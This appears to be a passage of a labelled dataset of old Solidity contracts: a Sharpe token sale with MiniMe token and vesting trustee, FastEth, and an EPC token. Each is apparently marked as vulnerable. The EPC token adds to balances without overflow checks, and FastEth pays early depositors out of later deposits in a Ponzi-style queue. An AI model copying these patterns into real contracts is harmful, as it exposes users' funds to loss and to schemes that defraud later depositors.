if(msg.sender == owner) {
owner = _newOwner;
}
}
}
contract Trustee is Owned {
using SafeMath for uint256;
SHP public shp;
struct Grant {
uint256 value;
uint256 start;
uint256 cliff;
uint256 end;
uint256 transferred;
bool revokable;
}
mapping (address => Grant) public grants;
uint256 public totalVesting;
event NewGrant(address indexed _from, address indexed _to, uint256 _value);
event UnlockGrant(address indexed _holder, uint256 _value);
event RevokeGrant(address indexed _holder, uint256 _refund);
function Trustee(SHP _shp) {
require(_shp != address(0));
shp = _shp;
}
function grant(address _to, uint256 _value, uint256 _start, uint256 _cliff, uint256 _end, bool _revokable)
public onlyOwner {
require(_to != address(0));
require(_value > 0);
require(grants[_to].value == 0);
require(_start <= _cliff && _cliff <= _end);
require(totalVesting.add(_value) <= shp.balanceOf(address(this)));
grants[_to] = Grant({
value: _value,
start: _start,
cliff: _cliff,
end: _end,
transferred: 0,
revokable: _revokable
});
totalVesting = totalVesting.add(_value);
NewGrant(msg.sender, _to, _value);
}
function revoke(address _holder) public onlyOwner {
Grant grant = grants[_holder];
require(grant.revokable);
uint256 refund = grant.value.sub(grant.transferred);
delete grants[_holder];
totalVesting = totalVesting.sub(refund);
shp.transfer(msg.sender, refund);
RevokeGrant(_holder, refund);
}
function vestedTokens(address _holder, uint256 _time) public constant returns (uint256) {
Grant grant = grants[_holder];
if (grant.value == 0) {
return 0;
}
return calculateVestedTokens(grant, _time);
}
function calculateVestedTokens(Grant _grant, uint256 _time) private constant returns (uint256) {
if (_time < _grant.cliff) {
return 0;
}
if (_time >= _grant.end) {
return _grant.value;
}
return _grant.value.mul(_time.sub(_grant.start)).div(_grant.end.sub(_grant.start));
}
function unlockVestedTokens() public {
Grant grant = grants[msg.sender];
require(grant.value != 0);
uint256 vested = calculateVestedTokens(grant, now);
if (vested == 0) {
return;
}
uint256 transferable = vested.sub(grant.transferred);
if (transferable == 0) {
return;
}
grant.transferred = grant.transferred.add(transferable);
totalVesting = totalVesting.sub(transferable);
shp.transfer(msg.sender, transferable);
UnlockGrant(msg.sender, transferable);
}
}
contract TokenController {
function proxyPayment(address _owner) payable returns(bool);
function onTransfer(address _from, address _to, uint _amount) returns(bool);
function onApprove(address _owner, address _spender, uint _amount)
returns(bool);
}
contract Controlled {
modifier onlyController { require(msg.sender == controller); _; }
address public controller;
function Controlled() { controller = msg.sender;}
function changeController(address _newController) onlyController {
controller = _newController;
}
}
contract ApproveAndCallFallBack {
function receiveApproval(address from, uint256 _amount, address _token, bytes _data);
}
contract MiniMeToken is Controlled {
string public name;
uint8 public decimals;
string public symbol;
string public version = 'MMT_0.1';
struct Checkpoint {
uint128 fromBlock;
uint128 value;
}
MiniMeToken public parentToken;
uint public parentSnapShotBlock;
uint public creationBlock;
mapping (address => Checkpoint[]) balances;
mapping (address => mapping (address => uint256)) allowed;
Checkpoint[] totalSupplyHistory;
bool public transfersEnabled;
MiniMeTokenFactory public tokenFactory;
function MiniMeToken(
address _tokenFactory,
address _parentToken,
uint _parentSnapShotBlock,
string _tokenName,
uint8 _decimalUnits,
string _tokenSymbol,
bool _transfersEnabled
) {
tokenFactory = MiniMeTokenFactory(_tokenFactory);
name = _tokenName;
decimals = _decimalUnits;
symbol = _tokenSymbol;
parentToken = MiniMeToken(_parentToken);
parentSnapShotBlock = _parentSnapShotBlock;
transfersEnabled = _transfersEnabled;
creationBlock = block.number;
}
function transfer(address _to, uint256 _amount) returns (bool success) {
require(transfersEnabled);
return doTransfer(msg.sender, _to, _amount);
}
function transferFrom(address _from, address _to, uint256 _amount
) returns (bool success) {
if (msg.sender != controller) {
require(transfersEnabled);
if (allowed[_from][msg.sender] < _amount) return false;
allowed[_from][msg.sender] -= _amount;
}
return doTransfer(_from, _to, _amount);
}
function doTransfer(address _from, address _to, uint _amount
) internal returns(bool) {
if (_amount == 0) {
return true;
}
require(parentSnapShotBlock < block.number);
require((_to != 0) && (_to != address(this)));
var previousBalanceFrom = balanceOfAt(_from, block.number);
if (previousBalanceFrom < _amount) {
return false;
}
if (isContract(controller)) {
require(TokenController(controller).onTransfer(_from, _to, _amount));
}
updateValueAtNow(balances[_from], previousBalanceFrom - _amount);
var previousBalanceTo = balanceOfAt(_to, block.number);
require(previousBalanceTo + _amount >= previousBalanceTo);
updateValueAtNow(balances[_to], previousBalanceTo + _amount);
Transfer(_from, _to, _amount);
return true;
}
function balanceOf(address _owner) constant returns (uint256 balance) {
return balanceOfAt(_owner, block.number);
}
function approve(address _spender, uint256 _amount) returns (bool success) {
require(transfersEnabled);
require((_amount == 0) || (allowed[msg.sender][_spender] == 0));
if (isContract(controller)) {
require(TokenController(controller).onApprove(msg.sender, _spender, _amount));
}
allowed[msg.sender][_spender] = _amount;
Approval(msg.sender, _spender, _amount);
return true;
}
function allowance(address _owner, address _spender
) constant returns (uint256 remaining) {
return allowed[_owner][_spender];
}
function approveAndCall(address _spender, uint256 _amount, bytes _extraData
) returns (bool success) {
require(approve(_spender, _amount));
ApproveAndCallFallBack(_spender).receiveApproval(
msg.sender,
_amount,
this,
_extraData
);
return true;
}
function totalSupply() constant returns (uint) {
return totalSupplyAt(block.number);
}
function balanceOfAt(address _owner, uint _blockNumber) constant
returns (uint) {
if ((balances[_owner].length == 0)
|| (balances[_owner][0].fromBlock > _blockNumber)) {
if (address(parentToken) != 0) {
return parentToken.balanceOfAt(_owner, min(_blockNumber, parentSnapShotBlock));
} else {
return 0;
}
} else {
return getValueAt(balances[_owner], _blockNumber);
}
}
function totalSupplyAt(uint _blockNumber) constant returns(uint) {
if ((totalSupplyHistory.length == 0)
|| (totalSupplyHistory[0].fromBlock > _blockNumber)) {
if (address(parentToken) != 0) {
return parentToken.totalSupplyAt(min(_blockNumber, parentSnapShotBlock));
} else {
return 0;
}
} else {
return getValueAt(totalSupplyHistory, _blockNumber);
}
}
function createCloneToken(
string _cloneTokenName,
uint8 _cloneDecimalUnits,
string _cloneTokenSymbol,
uint _snapshotBlock,
bool _transfersEnabled
) returns(address) {
if (_snapshotBlock == 0) _snapshotBlock = block.number;
MiniMeToken cloneToken = tokenFactory.createCloneToken(
this,
_snapshotBlock,
_cloneTokenName,
_cloneDecimalUnits,
_cloneTokenSymbol,
_transfersEnabled
);
cloneToken.changeController(msg.sender);
NewCloneToken(address(cloneToken), _snapshotBlock);
return address(cloneToken);
}
function generateTokens(address _owner, uint _amount
) onlyController returns (bool) {
uint curTotalSupply = totalSupply();
require(curTotalSupply + _amount >= curTotalSupply);
uint previousBalanceTo = balanceOf(_owner);
require(previousBalanceTo + _amount >= previousBalanceTo);
updateValueAtNow(totalSupplyHistory, curTotalSupply + _amount);
updateValueAtNow(balances[_owner], previousBalanceTo + _amount);
Transfer(0, _owner, _amount);
return true;
}
function destroyTokens(address _owner, uint _amount
) onlyController returns (bool) {
uint curTotalSupply = totalSupply();
require(curTotalSupply >= _amount);
uint previousBalanceFrom = balanceOf(_owner);
require(previousBalanceFrom >= _amount);
updateValueAtNow(totalSupplyHistory, curTotalSupply - _amount);
updateValueAtNow(balances[_owner], previousBalanceFrom - _amount);
Transfer(_owner, 0, _amount);
return true;
}
function enableTransfers(bool _transfersEnabled) onlyController {
transfersEnabled = _transfersEnabled;
}
function getValueAt(Checkpoint[] storage checkpoints, uint _block
) constant internal returns (uint) {
if (checkpoints.length == 0) return 0;
if (_block >= checkpoints[checkpoints.length-1].fromBlock)
return checkpoints[checkpoints.length-1].value;
if (_block < checkpoints[0].fromBlock) return 0;
uint min = 0;
uint max = checkpoints.length-1;
while (max > min) {
uint mid = (max + min + 1)/ 2;
if (checkpoints[mid].fromBlock<=_block) {
min = mid;
} else {
max = mid-1;
}
}
return checkpoints[min].value;
}
function updateValueAtNow(Checkpoint[] storage checkpoints, uint _value
) internal {
if ((checkpoints.length == 0)
|| (checkpoints[checkpoints.length -1].fromBlock < block.number)) {
Checkpoint storage newCheckPoint = checkpoints[ checkpoints.length++ ];
newCheckPoint.fromBlock = uint128(block.number);
newCheckPoint.value = uint128(_value);
} else {
Checkpoint storage oldCheckPoint = checkpoints[checkpoints.length-1];
oldCheckPoint.value = uint128(_value);
}
}
function isContract(address _addr) constant internal returns(bool) {
uint size;
if (_addr == 0) return false;
assembly {
size := extcodesize(_addr)
}
return size>0;
}
function min(uint a, uint b) internal returns (uint) {
return a < b ? a : b;
}
function () payable {
require(isContract(controller));
require(TokenController(controller).proxyPayment.value(msg.value)(msg.sender));
}
function claimTokens(address _token) onlyController {
if (_token == 0x0) {
controller.transfer(this.balance);
return;
}
MiniMeToken token = MiniMeToken(_token);
uint balance = token.balanceOf(this);
token.transfer(controller, balance);
ClaimedTokens(_token, controller, balance);
}
event ClaimedTokens(address indexed _token, address indexed _controller, uint _amount);
event Transfer(address indexed _from, address indexed _to, uint256 _amount);
event NewCloneToken(address indexed _cloneToken, uint _snapshotBlock);
event Approval(
address indexed _owner,
address indexed _spender,
uint256 _amount
);
}
contract MiniMeTokenFactory {
function createCloneToken(
address _parentToken,
uint _snapshotBlock,
string _tokenName,
uint8 _decimalUnits,
string _tokenSymbol,
bool _transfersEnabled
) returns (MiniMeToken)
{
MiniMeToken newToken = new MiniMeToken(
this,
_parentToken,
_snapshotBlock,
_tokenName,
_decimalUnits,
_tokenSymbol,
_transfersEnabled
);
newToken.changeController(msg.sender);
return newToken;
}
}
contract SHP is MiniMeToken {
function SHP(address _tokenFactory)
MiniMeToken(
_tokenFactory,
0x0,
0,
"Sharpe Platform Token",
18,
"SHP",
true
) {}
}
contract TokenSale is Owned, TokenController {
using SafeMath for uint256;
SHP public shp;
Trustee public trustee;
address public etherEscrowAddress;
address public bountyAddress;
address public trusteeAddress;
uint256 public founderTokenCount = 0;
uint256 public reserveTokenCount = 0;
uint256 public shpExchangeRate = 0;
uint256 constant public CALLER_EXCHANGE_SHARE = 40;
uint256 constant public RESERVE_EXCHANGE_SHARE = 30;
uint256 constant public FOUNDER_EXCHANGE_SHARE = 20;
uint256 constant public BOUNTY_EXCHANGE_SHARE = 10;
uint256 constant public MAX_GAS_PRICE = 50000000000;
bool public paused;
bool public closed;
bool public allowTransfer;
mapping(address => bool) public approvedAddresses;
event Contribution(uint256 etherAmount, address _caller);
event NewSale(address indexed caller, uint256 etherAmount, uint256 tokensGenerated);
event SaleClosed(uint256 when);
modifier notPaused() {
require(!paused);
_;
}
modifier notClosed() {
require(!closed);
_;
}
modifier isValidated() {
require(msg.sender != 0x0);
require(msg.value > 0);
require(!isContract(msg.sender));
require(tx.gasprice <= MAX_GAS_PRICE);
_;
}
function setShpExchangeRate(uint256 _shpExchangeRate) public onlyOwner {
shpExchangeRate = _shpExchangeRate;
}
function setAllowTransfer(bool _allowTransfer) public onlyOwner {
allowTransfer = _allowTransfer;
}
function doBuy(
address _caller,
uint256 etherAmount
)
internal
{
Contribution(etherAmount, _caller);
uint256 callerExchangeRate = shpExchangeRate.mul(CALLER_EXCHANGE_SHARE).div(100);
uint256 reserveExchangeRate = shpExchangeRate.mul(RESERVE_EXCHANGE_SHARE).div(100);
uint256 founderExchangeRate = shpExchangeRate.mul(FOUNDER_EXCHANGE_SHARE).div(100);
uint256 bountyExchangeRate = shpExchangeRate.mul(BOUNTY_EXCHANGE_SHARE).div(100);
uint256 callerTokens = etherAmount.mul(callerExchangeRate);
uint256 callerTokensWithDiscount = applyDiscount(etherAmount, callerTokens);
uint256 reserveTokens = etherAmount.mul(reserveExchangeRate);
uint256 founderTokens = etherAmount.mul(founderExchangeRate);
uint256 bountyTokens = etherAmount.mul(bountyExchangeRate);
uint256 vestingTokens = founderTokens.add(reserveTokens);
founderTokenCount = founderTokenCount.add(founderTokens);
reserveTokenCount = reserveTokenCount.add(reserveTokens);
shp.generateTokens(_caller, callerTokensWithDiscount);
shp.generateTokens(bountyAddress, bountyTokens);
shp.generateTokens(trusteeAddress, vestingTokens);
NewSale(_caller, etherAmount, callerTokensWithDiscount);
NewSale(trusteeAddress, etherAmount, vestingTokens);
NewSale(bountyAddress, etherAmount, bountyTokens);
etherEscrowAddress.transfer(etherAmount);
updateCounters(etherAmount);
}
function mintTokens(
uint256 _tokens,
address _destination
)
onlyOwner
{
shp.generateTokens(_destination, _tokens);
NewSale(_destination, 0, _tokens);
}
function applyDiscount(uint256 _etherAmount, uint256 _contributorTokens) internal constant returns (uint256);
function updateCounters(uint256 _etherAmount) internal;
function TokenSale (
address _etherEscrowAddress,
address _bountyAddress,
address _trusteeAddress,
uint256 _shpExchangeRate
) {
etherEscrowAddress = _etherEscrowAddress;
bountyAddress = _bountyAddress;
trusteeAddress = _trusteeAddress;
shpExchangeRate = _shpExchangeRate;
trustee = Trustee(_trusteeAddress);
paused = true;
closed = false;
allowTransfer = false;
}
function setShp(address _shp) public onlyOwner {
shp = SHP(_shp);
}
function transferOwnership(address _tokenController, address _trusteeOwner) public onlyOwner {
require(closed);
require(_tokenController != 0x0);
require(_trusteeOwner != 0x0);
shp.changeController(_tokenController);
trustee.changeOwner(_trusteeOwner);
}
function isContract(address _caller) internal constant returns (bool) {
uint size;
assembly { size := extcodesize(_caller) }
return size > 0;
}
function pauseContribution() public onlyOwner {
paused = true;
}
function resumeContribution() public onlyOwner {
paused = false;
}
function proxyPayment(address) public payable returns (bool) {
return allowTransfer;
}
function onTransfer(address, address, uint256) public returns (bool) {
return allowTransfer;
}
function onApprove(address, address, uint256) public returns (bool) {
return allowTransfer;
}
}
contract SharpeCrowdsale is TokenSale {
using SafeMath for uint256;
uint256 public etherPaid = 0;
uint256 public totalContributions = 0;
uint256 constant public FIRST_TIER_DISCOUNT = 5;
uint256 constant public SECOND_TIER_DISCOUNT = 10;
uint256 constant public THIRD_TIER_DISCOUNT = 20;
uint256 constant public FOURTH_TIER_DISCOUNT = 30;
uint256 public minPresaleContributionEther;
uint256 public maxPresaleContributionEther;
uint256 public minDiscountEther;
uint256 public firstTierDiscountUpperLimitEther;
uint256 public secondTierDiscountUpperLimitEther;
uint256 public thirdTierDiscountUpperLimitEther;
enum ContributionState {Paused, Resumed}
event ContributionStateChanged(address caller, ContributionState contributionState);
enum AllowedContributionState {Whitelisted, NotWhitelisted, AboveWhitelisted, BelowWhitelisted, WhitelistClosed}
event AllowedContributionCheck(uint256 contribution, AllowedContributionState allowedContributionState);
event ValidContributionCheck(uint256 contribution, bool isContributionValid);
event DiscountApplied(uint256 etherAmount, uint256 tokens, uint256 discount);
event ContributionRefund(uint256 etherAmount, address _caller);
event CountersUpdated(uint256 preSaleEtherPaid, uint256 totalContributions);
event WhitelistedUpdated(uint256 plannedContribution, bool contributed);
event WhitelistedCounterUpdated(uint256 whitelistedPlannedContributions, uint256 usedContributions);
modifier isValidContribution() {
require(validContribution());
_;
}
function SharpeCrowdsale(
address _etherEscrowAddress,
address _bountyAddress,
address _trusteeAddress,
uint256 _minDiscountEther,
uint256 _firstTierDiscountUpperLimitEther,
uint256 _secondTierDiscountUpperLimitEther,
uint256 _thirdTierDiscountUpperLimitEther,
uint256 _minPresaleContributionEther,
uint256 _maxPresaleContributionEther,
uint256 _shpExchangeRate)
TokenSale (
_etherEscrowAddress,
_bountyAddress,
_trusteeAddress,
_shpExchangeRate
)
{
minDiscountEther = _minDiscountEther;
firstTierDiscountUpperLimitEther = _firstTierDiscountUpperLimitEther;
secondTierDiscountUpperLimitEther = _secondTierDiscountUpperLimitEther;
thirdTierDiscountUpperLimitEther = _thirdTierDiscountUpperLimitEther;
minPresaleContributionEther = _minPresaleContributionEther;
maxPresaleContributionEther = _maxPresaleContributionEther;
}
function pegEtherValues(
uint256 _minDiscountEther,
uint256 _firstTierDiscountUpperLimitEther,
uint256 _secondTierDiscountUpperLimitEther,
uint256 _thirdTierDiscountUpperLimitEther,
uint256 _minPresaleContributionEther,
uint256 _maxPresaleContributionEther
)
onlyOwner
{
minDiscountEther = _minDiscountEther;
firstTierDiscountUpperLimitEther = _firstTierDiscountUpperLimitEther;
secondTierDiscountUpperLimitEther = _secondTierDiscountUpperLimitEther;
thirdTierDiscountUpperLimitEther = _thirdTierDiscountUpperLimitEther;
minPresaleContributionEther = _minPresaleContributionEther;
maxPresaleContributionEther = _maxPresaleContributionEther;
}
function ()
public
payable
isValidated
notClosed
notPaused
{
require(msg.value > 0);
doBuy(msg.sender, msg.value);
}
function closeSale() public onlyOwner {
closed = true;
SaleClosed(now);
}
function validContribution() private returns (bool) {
bool isContributionValid = msg.value >= minPresaleContributionEther && msg.value <= maxPresaleContributionEther;
ValidContributionCheck(msg.value, isContributionValid);
return isContributionValid;
}
function applyDiscount(
uint256 _etherAmount,
uint256 _contributorTokens
)
internal
constant
returns (uint256)
{
uint256 discount = 0;
if (_etherAmount > minDiscountEther && _etherAmount <= firstTierDiscountUpperLimitEther) {
discount = _contributorTokens.mul(FIRST_TIER_DISCOUNT).div(100);
} else if (_etherAmount > firstTierDiscountUpperLimitEther && _etherAmount <= secondTierDiscountUpperLimitEther) {
discount = _contributorTokens.mul(SECOND_TIER_DISCOUNT).div(100);
} else if (_etherAmount > secondTierDiscountUpperLimitEther && _etherAmount <= thirdTierDiscountUpperLimitEther) {
discount = _contributorTokens.mul(THIRD_TIER_DISCOUNT).div(100);
} else if (_etherAmount > thirdTierDiscountUpperLimitEther) {
discount = _contributorTokens.mul(FOURTH_TIER_DISCOUNT).div(100);
}
DiscountApplied(_etherAmount, _contributorTokens, discount);
return discount.add(_contributorTokens);
}
function updateCounters(uint256 _etherAmount) internal {
etherPaid = etherPaid.add(_etherAmount);
totalContributions = totalContributions.add(1);
CountersUpdated(etherPaid, _etherAmount);
}
} | 1 | 4,321 |
pragma solidity ^0.4.25;
interface HourglassInterface {
function() payable external;
function buy(address _investorAddress) payable external returns(uint256);
function reinvest() external;
function exit() payable external;
function withdraw() payable external;
function sell(uint256 _amountOfTokens) external;
function transfer(address _toAddress, uint256 _amountOfTokens) external returns(bool);
function totalEthereumBalance() external;
function totalSupply() external;
function myTokens() external returns(uint256);
function myDividends(bool _includeReferralBonus) external returns (uint256);
function balanceOf(address _investorAddress) external returns (uint256);
function dividendsOf(address _investorAddress) external returns (uint256);
function sellPrice() payable external returns (uint256);
function buyPrice() external;
function calculateTokensReceived(uint256 _ethereumToSpend) external;
function calculateEthereumReceived(uint256 _tokensToSell) external returns(uint256);
function purchaseTokens(uint256 _incomingEthereum, address _referredBy) external;
}
contract FastEth {
using SafeMath
for uint;
address constant _parojectMarketing = 0xaC780d067c52227ac7563FBe975eD9A8F235eb35;
address constant _wmtContractAddress = 0xB487283470C54d28Ed97453E8778d4250BA0F7d4;
HourglassInterface constant WMTContract = HourglassInterface(_wmtContractAddress);
uint constant _masterTaxOnInvestment = 10;
address constant private PROMO1 = 0xaC780d067c52227ac7563FBe975eD9A8F235eb35;
address constant private PROMO2 = 0x6dBFFf54E23Cf6DB1F72211e0683a5C6144E8F03;
address constant private PRIZE = 0xeE9B823ef62FfB79aFf2C861eDe7d632bbB5B653;
uint constant public PERCENT = 5;
uint constant public BONUS_PERCENT = 3;
uint constant StartEpoc = 1541541570;
struct Deposit {
address depositor;
uint deposit;
uint payout;
}
Deposit[] public queue;
mapping (address => uint) public depositNumber;
uint public currentReceiverIndex;
uint public totalInvested;
function () public payable {
require(now >= StartEpoc);
if(msg.value > 0){
require(gasleft() >= 250000);
require(msg.value >= 0.05 ether && msg.value <= 10 ether);
queue.push( Deposit(msg.sender, msg.value, 0) );
depositNumber[msg.sender] = queue.length;
totalInvested += msg.value;
uint promo1 = msg.value*PERCENT/100;
PROMO1.transfer(promo1);
uint promo2 = msg.value*PERCENT/100;
PROMO2.transfer(promo2);
startDivDistribution();
uint prize = msg.value*BONUS_PERCENT/100;
PRIZE.transfer(prize);
pay();
}
}
function pay() internal {
uint money = address(this).balance;
uint multiplier = 118;
for (uint i = 0; i < queue.length; i++){
uint idx = currentReceiverIndex + i;
Deposit storage dep = queue[idx];
uint totalPayout = dep.deposit * multiplier / 100;
uint leftPayout;
if (totalPayout > dep.payout) {
leftPayout = totalPayout - dep.payout;
}
if (money >= leftPayout) {
if (leftPayout > 0) {
dep.depositor.transfer(leftPayout);
money -= leftPayout;
}
depositNumber[dep.depositor] = 0;
delete queue[idx];
} else{
dep.depositor.transfer(money);
dep.payout += money;
break;
}
if (gasleft() <= 55000) {
break;
}
}
currentReceiverIndex += i;
}
function startDivDistribution() internal{
WMTContract.buy.value(msg.value.mul(_masterTaxOnInvestment).div(100))(_parojectMarketing);
uint _wmtBalance = getFundWMTBalance();
WMTContract.sell(_wmtBalance);
WMTContract.reinvest();
}
function getFundWMTBalance() internal returns (uint256){
return WMTContract.myTokens();
}
function getDepositsCount(address depositor) public view returns (uint) {
uint c = 0;
for(uint i=currentReceiverIndex; i<queue.length; ++i){
if(queue[i].depositor == depositor)
c++;
}
return c;
}
function getQueueLength() public view returns (uint) {
return queue.length - currentReceiverIndex;
}
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0);
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a);
uint256 c = a - b;
return c;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a);
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b != 0);
return a % b;
}
} | 1 | 4,983 |
pragma solidity ^0.4.16;
contract EPC{
uint256 constant private MAX_UINT256 = 2**256 - 1;
mapping (address => uint256) public balances;
mapping (address => mapping (address => uint256)) public allowed;
uint256 public totalSupply;
string public name;
uint8 public decimals;
string public symbol;
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
function EPC() public {
balances[msg.sender] = 5180000000000;
totalSupply = 5180000000000;
name = "环保链";
decimals =4;
symbol = "EPC";
}
function transfer(address _to, uint256 _value) public returns (bool success) {
require(balances[msg.sender] >= _value);
balances[msg.sender] -= _value;
balances[_to] += _value;
Transfer(msg.sender, _to, _value);
return true;
}
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) {
uint256 allowance = allowed[_from][msg.sender];
require(balances[_from] >= _value && allowance >= _value);
balances[_to] += _value;
balances[_from] -= _value;
if (allowance < MAX_UINT256) {
allowed[_from][msg.sender] -= _value;
}
Transfer(_from, _to, _value);
return true;
}
function balanceOf(address _owner) public view returns (uint256 balance) {
return balances[_owner];
}
function approve(address _spender, uint256 _value) public returns (bool success) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) public view returns (uint256 remaining) {
return allowed[_owner][_spender];
}
} | 1 | 5,413 |